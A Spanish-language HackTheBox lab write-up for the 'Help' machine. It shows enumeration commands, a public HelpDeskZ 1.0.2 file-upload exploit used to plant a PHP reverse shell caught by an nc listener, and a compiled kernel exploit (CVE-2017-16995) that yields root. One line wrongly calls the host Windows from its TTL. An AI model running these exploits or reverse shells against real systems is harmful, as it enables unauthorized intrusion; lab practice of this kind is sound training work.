Inicio HTB - Help
Entrada
Cancelar

HTB - Help

¡Hola! Vamos a resolver de la máquina Help de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Web Enumeration
  • HelpDeskZ 1.0.2 Arbitrary File Upload
  • Linux Kernel 4.4.0-116 Privesc exploit [CVE 2017-16995]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Help. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.121
PING 10.10.10.121 (10.10.10.121) 56(84) bytes of data.
64 bytes from 10.10.10.121: icmp_seq=1 ttl=63 time=42.3 ms

--- 10.10.10.121 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.121 -oG allPorts

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sCV -p22,80,3000 10.10.10.121 -oN targeted

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5bb4d9cdeaf6bbfba8c227ad8d74328 (RSA)
|   256 d5b010507486a39fc5536f3b4a246119 (ECDSA)
|_  256 e21b88d37621d41e38154a8111b79907 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn t have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Añadimos help.htb a nuestro /etc/hosts

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb http://help.htb
http://help.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.121], Title[Apache2 Ubuntu Default Page: It works]

Accedemos al servicio HTTP por el puerto 80 y observamos la página por defecto de Apache

Con la herramienta GoBuster aplicamos fuzzing para descubrir posibles directorios y localizamos support

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ gobuster dir -u http://help.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://help.htb/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/02/23 11:35:26 Starting gobuster in directory enumeration mode
===============================================================
/support              (Status: 301) [Size: 306] [--> http://help.htb/support/]
/javascript           (Status: 301) [Size: 309] [--> http://help.htb/javascript/]

Accedemos a la ruta encontrada y vemos un panel de HelpDeskZ

Buscando en Google vemos que es un proyecto OpenSource y localizamos su código en GitHub. Vemos que en la raíz del proyecto hay un archivo UPGRADING.txt. Verificamos que podemos acceder a este recurso y averiguamos que la versión de HelDeskZ es la 1.0.2

Buscando con searchsploit localizamos dos vulnerabilidades asociadas a esta versión

1
2
3
4
5
6
7
❯ searchsploit helpdeskz
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload                                                                                                                                     | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download                                                                                              | php/webapps/41200.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Nos descargamos el script 40300.py y examinamos su contenido

1
2
3
4
5
6
7
8
9
10
11
12
.
.
.
HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.

The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file

/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
.
.
.

Examinando el código vemos en la explicación que el software permite subir archivos cpn estensión .php. Parece que los desarrolladores no le dieron mucha importancia debido a que los nombres de archivos se ofuscan cuando se suben. Sin embargo observando la función que se encarga de ofuscar el nombre del archivo podemos hacer los mismos cálculos por nuestra cuenta y averiguar el nombre del archivo

Explotación HelpDeskZ


Primero nos decargamos el archivo malicioso en PHP de la web de pentestmonkey. Debemos modificar la IP y el puerto con el que entablaremos la reverse shell. Creamos un nuevo ticket en el portal de HelpDeskZ adjuntando nuestro archivo malicioso. Nos ponemos en escucha en el puerto 443 y ejecutamos el exploit 40300.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#EXPLOIT
❯ python2 40300.py http://help.htb/support/uploads/tickets/ php-reverse-shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit

#LISTENERsudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.227.176] 58332
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 07:10:03 up  4:48,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can t access tty; job control turned off
$ id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)

La flag de usuario de bajos privilegios la encontramos en la ruta /home/help

1
2
help@help:/home/help$ cat user.txt 
457163eba4d2bb0fc***************

Escalada Privilegios


Enumerando grupos, privilegios de sudoer o archivos con privilegios SUID no logramos encontrar nada interesante. Sin embargo, listamos información del sistema con la herramienta uname y vemos que el kernel del sistema operativo es un poco antiguo

1
2
help@help:/tmp$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Buscamos por vulnerabilidades asociadas a esta versión de kernel y encontramos un script en C en exploit-db. Nos lo copiamos en la máquina víctima, lo compilamos y ejecutamos

1
2
3
4
5
6
7
8
help@help:/tmp$ nano exploit.c
help@help:/tmp$ gcc exploit.c -o exploit
help@help:/tmp$ ./exploit
task_struct = ffff880036979540
uidptr = ffff8800382ca9c4
spawning root shell
root@help:/tmp# whoami
root

La flag de usuario privilegiado la encontramos en el directorio /root

1
2
root@help:/root# cat root.txt 
589487ad4ccb354ba***************

Hemos completado la máquina Help de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.